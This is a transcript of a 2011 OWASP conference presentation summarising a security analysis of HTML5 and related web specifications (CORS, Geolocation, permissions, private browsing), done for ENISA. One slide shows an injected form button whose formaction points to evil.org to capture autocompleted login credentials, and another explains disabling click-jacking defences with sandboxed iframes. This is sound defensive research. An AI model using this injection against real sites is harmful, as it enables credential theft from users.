1 / 48

Security of HTML5 and accompanying specifications

Security of HTML5 and accompanying specifications . Lieven Desmet Lieven.Desmet@cs.kuleuven.be OWASP BeNeLux Days 2011 – 2/12/2011 . About myself. Lieven Desmet Research manager of the DistriNet Research Group ( K.U.Leuven , Belgium) DistriNet Research Group

candy
Download Presentation

Security of HTML5 and accompanying specifications

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Security of HTML5 and accompanying specifications LievenDesmet Lieven.Desmet@cs.kuleuven.be OWASP BeNeLux Days 2011 – 2/12/2011

  2. About myself • LievenDesmet • Research manager of the DistriNet Research Group (K.U.Leuven, Belgium) • DistriNet Research Group • 70 researchers (10 professors) • Secure Software & Distributed Software

  3. Web Application Security Team • CSRF protection: CsFire • FireFox extension • 37K+ download • 4000+ daily users • Secure Mashup Composition • HTML5 security • Information Flow Control for Javascript • Secure Session Manangement

  4. Overview Introduction Scope of the analysis Methodology HTML5 security: Analysis results Cross-specification results Conclusions

  5. Introduction Integration of third-party JavaScript

  6. Third-party JavaScript is everywhere • Advertisements • Adhese ad network • Social web • Facebook Connect • Google+ • Twitter • Feedsburner • Tracking • Scorecardresearch • Web Analytics • Yahoo! Web Analytics • Google Analytics • …

  7. Integration of third-party JavaScript • Two basic composition techniques • Script inclusion • Third-party script run’s in the execution context (i.e. origin) of the embedding page • Script has access to all the sensitive operations in this context • (Sandboxed) iframe integration • Third-party component runs in a separate security context (i.e. the origin of the third-party service provider) • Isolation between service provider and embedding page is realised via the Same-Origin Policy

  8. Script inclusion vs iframe integration <html> <body> … <script src=“http://3rdparty.com/script.js”> </script> … </body> </html> 3rd party <html> <body> … <iframesrc=“http://3rdparty.com/frame.html”> </iframe> … </body> </html> 3rd party

  9. Scope of the analysis HTML5 and accompanying specifications

  10. Specifications in scope

  11. W3C specifications in scope • HTML 5 specification • Cross-domain communication • XML Http Request levels 1 and 2 • Uniform Messaging Policy • Cross-Origin Resource Sharing • Inter-window communication • HTML5 Web Messaging • Media • Media Capture API • Client-side storage • Web Storage • Device access • Geolocation API Specification • System Information API • Permissions for Device API Access • Device API Privacy Requirements

  12. Analysis of the specifications • A Security Analysis of Next Generation Web Standards • Commissioned by European Network and Information Security Agency (ENISA) • Performed by DistriNet Research Group • Full report available at http://www.enisa.europa.eu/html5

  13. Methodology

  14. Methodology • Iterative and repeatable process • Applied to 13 specifications in scope • 1000+ pages of specification! • Analysis driven by four security questions • Results were captured in three steps • Specification summary • Analysis result of specification in isolation • Cross-specification analysis results

  15. Scope • Focus on newly introduced features • No specific focus for classic issues • E.g. XSS vectors, session management • Included when relevant for new features • Already extensive work on XSS attack vectors • See html5sec.org

  16. Assets and attacker model 1Based on attacker types used by Barth et al. in ‘Securing frame communication in browsers’ (USENIX Security Symposium 2008) • Assets: • Application-specific data and functionality • Page content, DOM elements, JavaScript code, … • End-user data and identity • Cookies, local storage, user/media input, geolocation, … • Contextual Data • Device/sensor information, geolocation, referer, origin, … • Attacker model1 • Web attacker • has control over one or more malicious website(s) • Gadget attacker • has control over 3rd party JavaScript content, embedded via an integrator

  17. Four security questions • SQ1: Are the security-relevant aspects of the newly introduced capabilities well-defined and secure? • privacy problems, unprotected features, … • SQ2: Do the new specifications violate isolation properties between origins or restricted contexts? • sandboxes or private browsing mode • SQ3: Is the new specification consistent with other specifications? • Permission management, ways to access information, … • SQ4: How do the security measures of the specification rely on the user making correct security decisions? • which decisions does the user have to make

  18. 3-step analysis • Step 1: Security-focused study of the specification in isolation: • Capabilities: enlisting functional capabilities offered by the spec • User Involvement: how and when is the user involved in granting access • Security/privacy considerations: both explicit and implicit considerations • Step 2: Identification of specification-specific threats and underspecified behavior • Step 3: identification of cross-specification issues: • Inconsistencies between the specifications • Interaction of features across specifications

  19. Analysis sample: Geolocation API (version: 07 sept. 2010) • Capabilities: • Access to the current location • Both one-shot and monitoring • Security and Privacy • Consent is required! • Spec already explicitly mentions several privacy considerations • Recipients must not retransmit the location information • The UA should add location sharing-awareness

  20. Analysis sample: Geolocation API (1) • Threat: Cache Polling • Location retrieval from cache can be forced • Using a maxAge attribute, the age of the location can be determined • Underspecification: Monitoring Lifetime • The location can be monitored with a “watch process” • This process can be canceled • Does it disappear if the document no longer exists?

  21. Analysis sample: Geolocation API (2) • Underspecification: Behavior in restricted contexts • Can sandboxed document request location? • Which origin is used in the consent UI? • Can the permission be stored? • Private browsing mode? • Are stored permissions valid? • If a permission is obtained in private browsing mode, can it be stored?

  22. Analysis sample: Geolocation API (3) • User Involvement: Permission management • UI elements • The UI has to mention the origin • The UI does not have to indicate the nature of the permission (one-shot or monitoring) • Long-term permission management • Vaguely specified: “should be easily revocable” • In practice: non-intuitive implementation

  23. Non-Intuitive Implementation (Firefox)

  24. Analysis results

  25. HTML5 security: Analysis results

  26. Some identified threats • CORS: Interaction with legacy servers • HTML5: Form Tampering • HTML5: Disabling Click-jacking Protection • HTML5: Protocol/content Handlers • …

  27. CORS: Interaction with legacy servers • Cross-Origin Resource Sharing • Allows cross-origin XMLHttpRequest • Supply Origin header to server • Server optionally includes permission header • Browser only gives access to response if permission header is present • Preflight for complex POST / PUT / DELETE • First check with OPTIONS if request is allowed • Only then send the actual request

  28. Detailed Analysis: CORS Legacy Servers • Protect legacy servers • Not CORS aware, so no response headers • No access to response • No more capabilities than with HTML • Allows cross-origin GET/POST • Restricted by form capabilities

  29. Detailed Analysis: CORS Legacy Servers <input type=“text” name=“BEGIN:VCALENDARVERSION:2.0…;CN” value=“John Doe:…”/> • Legacy servers not always protected • Forms are bound to key=value body format • XHR is not • Many formats contain =, so can still be sent as a form • Servers using format without = are not protected • E.g. JSON API?

  30. Detailed Analysis: CORS Legacy Servers • Protecting legacy servers • Check format of body • Must match content type • No more capabilities than normal forms

  31. HTML5: Form Tampering <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> • Controls can occur outside form element • Associated with a form • Nearest form or form attribute • Supports valid nesting of forms

  32. Detailed Analysis: Form Tampering <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” required /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version” novalidate/> • Attributes can modify form behavior • Only applies to submission controls • Change action,enctype, method, novalidate and target

  33. Detailed Analysis: Form Tampering <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> • Example: page containing login form • Often autocompleted by browser • Credentials submitted to server

  34. Detailed Analysis: Form Tampering New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> • Example: page containing login form • Also displays user supplied data • Naturally, XSS content filtering is in place! • Malicious user injects plain HTML code • Evil page records credentials • Automatically submits form to original destination

  35. HTML5: Disabling Click-jacking Protection • Some state-of-practice click-jacking defense techniques use javascript to navigate top-level window • if (self != top) {top.location = self.location; } • By using a sandboxed iframe, an attacker can • disable top-level navigation • force a page to be framed

  36. HTML5: Protocol/content Handlers • Sites can register as a handler • for a protocol (e.g. sms://) • for a MIME type (e.g. application/pdf) • Every matching URL is sent to handler • restrictions are mentioned • Only idem-potent requests, no HTTPS, no authentication credentials … • Actual implementation up to user agents

  37. Protocol / Content Handlers Tricking the user into installing a handler Installing a handler to hijack all/a lot of traffic • Actual implementation … • Asking for permission is optional • Overriding existing schemes (e.g. HTTP(S)) is not recommended • Overwriting defaults is not recommended • The title property should not be relied upon • A title can be used to indicate the purpose

  38. Cross-specification results

  39. Cross-specification results Inconsistencies in permission management Underspecification for restricted contexts (sandbox/private browsing mode)

  40. Heterogeneity in permissions

  41. Need for consistent Permission Mgmt • Permission base and types • Use the same permission base • Different permission properties remain • Persistency, one-shot vs monitoring, … • Enforce the same UI reqs • Mandatory dialog elements • Awareness indicators • Management interface

  42. Solution: Dedicated Permission API ? • Specifies different permission types • Reference from other APIs • Indicate which permission types are applicable • Already work in progress: Feature Permissions (W3C) • Specifies how to request permissions • No mention about UI requirements

  43. Privacy Mode • Browsing without a trail • aka Private Browsing Mode, InPrivate browsing, Incognito mode • Prevents access to locally stored data • Cookies, Web Storage, Databases, … • Ensures no data stored after leaving privacy mode

  44. Privacy Mode A site can find (vendor-specific) ways to share information between normal mode and privacy mode Firefox allows a site to reuse a permission, granted in a normal context, in a private browsing context • Unspecified! • Not part of any official specification • Implemented by all major browsers • Freedom to choose concrete implementation • Different visions on privacy mode

  45. Conclusion

  46. Conclusion • Tons of new features will become available to third-party JavaScript • Analysis results • Overal quality of the specification is quite OK • Limited number of threats identified • Lack consistency in permission management, user consent • Underspecification in restricted contexts • Only coarse-grained control over available APIs

  47. Next steps Issues have been communicated with W3C and on specification mailinglists Translating knowledge in security guidelines for developers and website owners Evaluating the browser compliance towards the specifications

  48. More info… A Security Analysis of Next Generation Web Standards Full report available at the ENISA: http://www.enisa.europa.eu/html5

More Related